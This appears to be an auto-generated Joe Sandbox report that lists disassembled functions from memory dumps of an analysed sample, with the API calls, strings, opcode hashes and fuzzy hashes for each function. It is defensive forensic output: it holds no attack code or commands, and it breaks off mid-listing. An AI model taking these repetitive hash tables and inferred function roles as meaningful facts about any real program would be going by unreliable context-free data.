Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 19d5edf4ea9ad578a2c21b0b02235d9b4a7c978bef568855f513b23de9af8e5b
Instruction ID: 2a443e2dbd290f1d3e7d06be0923c4f84004430be13129df867e3b0ad3de04e8
Opcode Fuzzy Hash: 19d5edf4ea9ad578a2c21b0b02235d9b4a7c978bef568855f513b23de9af8e5b
Instruction Fuzzy Hash: 753123B1A002199FD714DF79CC44AABB7F8EF49614F158829EC5AD7740E7349805CBA0

Function 6C225EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C23DCA0,?,?,?,6C1FE8B5,00000000), ref: 6C225F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C1FE8B5,00000000), ref: 6C225F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C1FE8B5,00000000), ref: 6C225F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C1FE8B5,00000000), ref: 6C225F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C1FE8B5,00000000), ref: 6C225FD6

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: b3ce826d56759f8950702d96c296fe8f94c81e6515a4ec7ceac3083fd5aaca98
Instruction ID: 64370a20bec9388701166a3c8d8fa43794630baa47364fbcaadd7026801919b5
Opcode Fuzzy Hash: b3ce826d56759f8950702d96c296fe8f94c81e6515a4ec7ceac3083fd5aaca98
Instruction Fuzzy Hash: 0F31D0343006058FD724DF29C898E2AB7F5FF8A319BA48568F95687B95C735EC41CB90

Function 6C1CB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C1CB532
moz_xmalloc.MOZGLUE(?), ref: 6C1CB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C1CB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C1CB57E
free.MOZGLUE(00000000), ref: 6C1CB58F

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: eb3a836b3cc3e2cdbe56cd9c8d6be59c0d0b3dd97d7c2aa45c992672256814e9
Instruction ID: 6182ca771916b2300d9f52da12b5d7c3de67cc90e3cf2af0c250d9fe52c44dfc
Opcode Fuzzy Hash: eb3a836b3cc3e2cdbe56cd9c8d6be59c0d0b3dd97d7c2aa45c992672256814e9
Instruction Fuzzy Hash: E521F871B00205DBDB009F68CC44B6ABBB9FFA5708F284129F818DB381E739D911CBA1

Function 6C1CB7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C1CB7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C1CB808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C1CB82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C1CB840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C1CB849

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: c9076cb8ca59ef0aed34567b1584e06815a7f9634ae50d01cc3ae1a007e98ffb
Instruction ID: cdc898283ae937c393ab22dce2ed0226f05b0df3fa3400f44b58064f226037a7
Opcode Fuzzy Hash: c9076cb8ca59ef0aed34567b1584e06815a7f9634ae50d01cc3ae1a007e98ffb
Instruction Fuzzy Hash: 9F216BB0E002199FDF04DFA9C8856FEBBB4EF59718F148129EC15A7340E735A958CBA1

Function 6C226E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C226E78

Part of subcall function 6C226A10: InitializeCriticalSection.KERNEL32(6C24F618), ref: 6C226A68
Part of subcall function 6C226A10: GetCurrentProcess.KERNEL32 ref: 6C226A7D
Part of subcall function 6C226A10: GetCurrentProcess.KERNEL32 ref: 6C226AA1
Part of subcall function 6C226A10: EnterCriticalSection.KERNEL32(6C24F618), ref: 6C226AAE
Part of subcall function 6C226A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C226AE1
Part of subcall function 6C226A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C226B15
Part of subcall function 6C226A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C226B65
Part of subcall function 6C226A10: LeaveCriticalSection.KERNEL32(6C24F618,?,?), ref: 6C226B83

MozFormatCodeAddress.MOZGLUE ref: 6C226EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C226EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C226EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C226EFF

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 712508b7dfa23fd54bd8dacc30aef1cce48dc91ef51f7e66cd331525f27b1d0a
Instruction ID: 4afbc5d6291cf857d6faab460c7b0cb911e8bca2bc65a606ec126213202b2de2
Opcode Fuzzy Hash: 712508b7dfa23fd54bd8dacc30aef1cce48dc91ef51f7e66cd331525f27b1d0a
Instruction Fuzzy Hash: 77217C71A0421A9BDB10DF69D8C9A9A77F5EF84308F048079EC0D97241EA749A59CF92

Function 6C200D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C1C3DEF), ref: 6C200D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C1C3DEF), ref: 6C200D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C1C3DEF), ref: 6C200DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C200D97, 6C200DBE
<jemalloc>, xrefs: 6C200D92, 6C200DB9

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 300ee8142c7d238903b4abab02d6ffa1ebcdfdb398565024d211b78d803427e8
Instruction ID: 23ad6cdb0b7a93ea9f71dba14d3f5c309b526c9b81377667c539c4be2724780b
Opcode Fuzzy Hash: 300ee8142c7d238903b4abab02d6ffa1ebcdfdb398565024d211b78d803427e8
Instruction Fuzzy Hash: 3BF0B43539079D23F72429668C0AF6A665DE7C2B25F20C027FE08DA9C0DAA0E400C6B8

Function 6C225850 Relevance: 7.5, APIs: 5, Instructions: 41synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000000FF), ref: 6C22586C
CloseHandle.KERNEL32 ref: 6C225878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C225898
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C2258C9
free.MOZGLUE(00000000), ref: 6C2258D3

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: free$CloseHandleObjectSingleWait
String ID:
API String ID: 1910681409-0
Opcode ID: f078e6d982fe0fbf4caf52fb26ef906db2d7ea5da5c6b2f80b9a260f4c6f2eda
Instruction ID: 1ace66bcbe72a6ffc26aa49d6ae15b2bc5c359bba1b61a26a884470b61d433e6
Opcode Fuzzy Hash: f078e6d982fe0fbf4caf52fb26ef906db2d7ea5da5c6b2f80b9a260f4c6f2eda
Instruction Fuzzy Hash: ED0128717042059BDB00FF2AD80CA077BB8EBC232E725C176ED1AC2290EB759814CF92

Function 6C217620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C2175C4,?), ref: 6C21762B

Part of subcall function 6C1DCA10: malloc.MOZGLUE(?), ref: 6C1DCA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C2174D7,6C2215FC,?,?,?), ref: 6C217644
GetCurrentThreadId.KERNEL32(?,?,?,?,?,?,?,?,?,6C2174D7,6C2215FC,?,?,?,?,6C2215FC), ref: 6C21765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C2174D7,6C2215FC,?,?,?), ref: 6C217663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C2174D7,6C2215FC,?,?,?), ref: 6C217677

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 7bce9ee96eb06670945c8a4126da8a9c2f502b7925e58977aaff4c18e29b8a96
Instruction ID: 5aa1df1d45ac5f7ab96595cd06c1592898da709d17262aaa2ce7266031de9f9e
Opcode Fuzzy Hash: 7bce9ee96eb06670945c8a4126da8a9c2f502b7925e58977aaff4c18e29b8a96
Instruction Fuzzy Hash: 6FF0AF75E10B45ABD7009F22C888A7AB778FFEA259F128356F90542641E7B0A5D0CBD0

Function 0041C131 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0041C13D

Part of subcall function 0041B95F: __getptd_noexit.LIBCMT ref: 0041B962
Part of subcall function 0041B95F: __amsg_exit.LIBCMT ref: 0041B96F

__getptd.LIBCMT ref: 0041C154
__amsg_exit.LIBCMT ref: 0041C162
__lock.LIBCMT ref: 0041C172
__updatetlocinfoEx_nolock.LIBCMT ref: 0041C186

Memory Dump Source

Source File: 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_8ec8c5c339.jbxd

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: c97b1cd8c1bf5e7720fb8207f6683a26967bfbf4c7aefb49925ecc618f12c84f
Instruction ID: 8423f9a113a1835f1d35103eff65ed0838148ed172a20d49ff88b4dc443596f5
Opcode Fuzzy Hash: c97b1cd8c1bf5e7720fb8207f6683a26967bfbf4c7aefb49925ecc618f12c84f
Instruction Fuzzy Hash: 9EF06271AD5310ABD720BBA95C427DA3790AF00728F15410FE454A62D3CB6C58D19A9E

Function 6C221700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C221800

Part of subcall function 6C1FCBE8: GetCurrentProcess.KERNEL32(?,6C1C31A7), ref: 6C1FCBF1
Part of subcall function 6C1FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C1C31A7), ref: 6C1FCBFA

Part of subcall function 6C1C4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C203EBD,6C203EBD,00000000), ref: 6C1C42A9

Strings

Details, xrefs: 6C221925
name, xrefs: 6C221939
{marker.name} - {marker.data.name}, xrefs: 6C2218C7

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: 99ee24992306196a930a31cc0f95f7a923a7ccebc63db859f99f057271504531
Instruction ID: 0951b31df729a8af980cc0bd09862b36575bf53883b7d63453f0d6726658fa0e
Opcode Fuzzy Hash: 99ee24992306196a930a31cc0f95f7a923a7ccebc63db859f99f057271504531
Instruction Fuzzy Hash: 2971F4B0A0074A9FD704DF28D454BAAFBB1FF85304F008669DC154BB41DB75AA98CBE2

Function 6C22B0C0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,6C22B0A6,6C22B0A6,?,6C22AF67,?,00000010,?,6C22AF67,?,00000010,00000000,?,?,6C22AB1F), ref: 6C22B1F2
?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,6C22B0A6,6C22B0A6,?,6C22AF67,?,00000010,?,6C22AF67,?,00000010,00000000,?), ref: 6C22B1FF
free.MOZGLUE(?,?,?,map/set<T> too long,?,?,6C22B0A6,6C22B0A6,?,6C22AF67,?,00000010,?,6C22AF67,?,00000010), ref: 6C22B25F

Strings

map/set<T> too long, xrefs: 6C22B1FA

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: free$Xlength_error@std@@
String ID: map/set<T> too long
API String ID: 1922495194-1285458680
Opcode ID: cec533e71f23122104f5163ded16ba42ec69c69fccbbefa7a3a0321a23a7d4ae
Instruction ID: c5bdc003c6595f652945a19083b009e399a1d1ce7e7745c015b1f8b066e3fb5b
Opcode Fuzzy Hash: cec533e71f23122104f5163ded16ba42ec69c69fccbbefa7a3a0321a23a7d4ae
Instruction Fuzzy Hash: 97614A746042498FD701CF19C884A9ABBF1BF4A318F18C599EC5A9FB52C739EC45CBA1

Function 004112B0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 160stringCOMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32 ref: 004112E1
strtok_s.MSVCRT(00000000,?,?), ref: 004112F8

Strings

block, xrefs: 004112C7

Memory Dump Source

Source File: 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_8ec8c5c339.jbxd

Similarity

API ID: ExitProcessstrtok_s
String ID: block
API String ID: 3407564107-2199623458
Opcode ID: 86a75c9b23cb72fc235416e4176b529a5337894866b1a2ff7249a498ccfa2fb0
Instruction ID: b2aee4bd772402993bd8daf8ed4e127407cef198cc172b88b11a84757ccddcb3
Opcode Fuzzy Hash: 86a75c9b23cb72fc235416e4176b529a5337894866b1a2ff7249a498ccfa2fb0
Instruction Fuzzy Hash: 6451A574B00209EFDB14DFA0E944BEE37B5BF44B04F10804AE916A7361D778D996CB5A

Function 00406A00 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 155COMMON

Download Yara Rule

Strings

zn@, xrefs: 00406A0D, 00406A19, 00406A2C, 00406A35, 00406A59, 00406A82, 00406A85, 00406B3F, 00406B51, 00406B5D, 00406B66, 00406BE3, 00406B99, 00406A9A, 00406ABD, 00406AC9, 00406AF1, 00406B21, 00406B33, 00406AFD, 00406B0A, 00406AA6
zn@, xrefs: 00406B78, 00406C06, 00406C0B, 00406BB5

Memory Dump Source

Source File: 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_8ec8c5c339.jbxd

Similarity

API ID:
String ID: zn@$zn@
API String ID: 0-1156428846
Opcode ID: 25f82b5059035671600d9e83034a035f120b2cca1b3f6827d3773b31035260a8
Instruction ID: c22392a9749b90d4c1c61cacca4cad5c9228f9bc2143d6a913daecdb3f55fa98
Opcode Fuzzy Hash: 25f82b5059035671600d9e83034a035f120b2cca1b3f6827d3773b31035260a8
Instruction Fuzzy Hash: F171D974A00109DFDB04CF48C484BAAB7B2FF88315F158179E84AAF395C739AA91CF95

Function 6C1ED468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C1FCBE8: GetCurrentProcess.KERNEL32(?,6C1C31A7), ref: 6C1FCBF1
Part of subcall function 6C1FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C1C31A7), ref: 6C1FCBFA

EnterCriticalSection.KERNEL32(6C24E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C1FD1C5), ref: 6C1ED4F2
LeaveCriticalSection.KERNEL32(6C24E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C1FD1C5), ref: 6C1ED50B

Part of subcall function 6C1CCFE0: EnterCriticalSection.KERNEL32(6C24E784), ref: 6C1CCFF6
Part of subcall function 6C1CCFE0: LeaveCriticalSection.KERNEL32(6C24E784), ref: 6C1CD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C1FD1C5), ref: 6C1ED52E
EnterCriticalSection.KERNEL32(6C24E7DC), ref: 6C1ED690
LeaveCriticalSection.KERNEL32(6C24E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C1FD1C5), ref: 6C1ED751

Strings

MOZ_CRASH(), xrefs: 6C1ED4BB

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 2078e378c4527dbfced4bee7027be6d048dc840c00a8255d196683b4dad2a58c
Instruction ID: e29a0b93f5118042bade18fe107951bdc2cacf7f5cf2c3e1c78edee0a1fa6c03
Opcode Fuzzy Hash: 2078e378c4527dbfced4bee7027be6d048dc840c00a8255d196683b4dad2a58c
Instruction Fuzzy Hash: A651CE71A04B058FD328EF29C09471AB7E1EBCD718F55892ED9AAC7B85D770A804CB91

Function 6C214630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C214721

Strings

profiler-paused, xrefs: 6C2146E4
-%llu, xrefs: 6C214733
., xrefs: 6C21476A

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
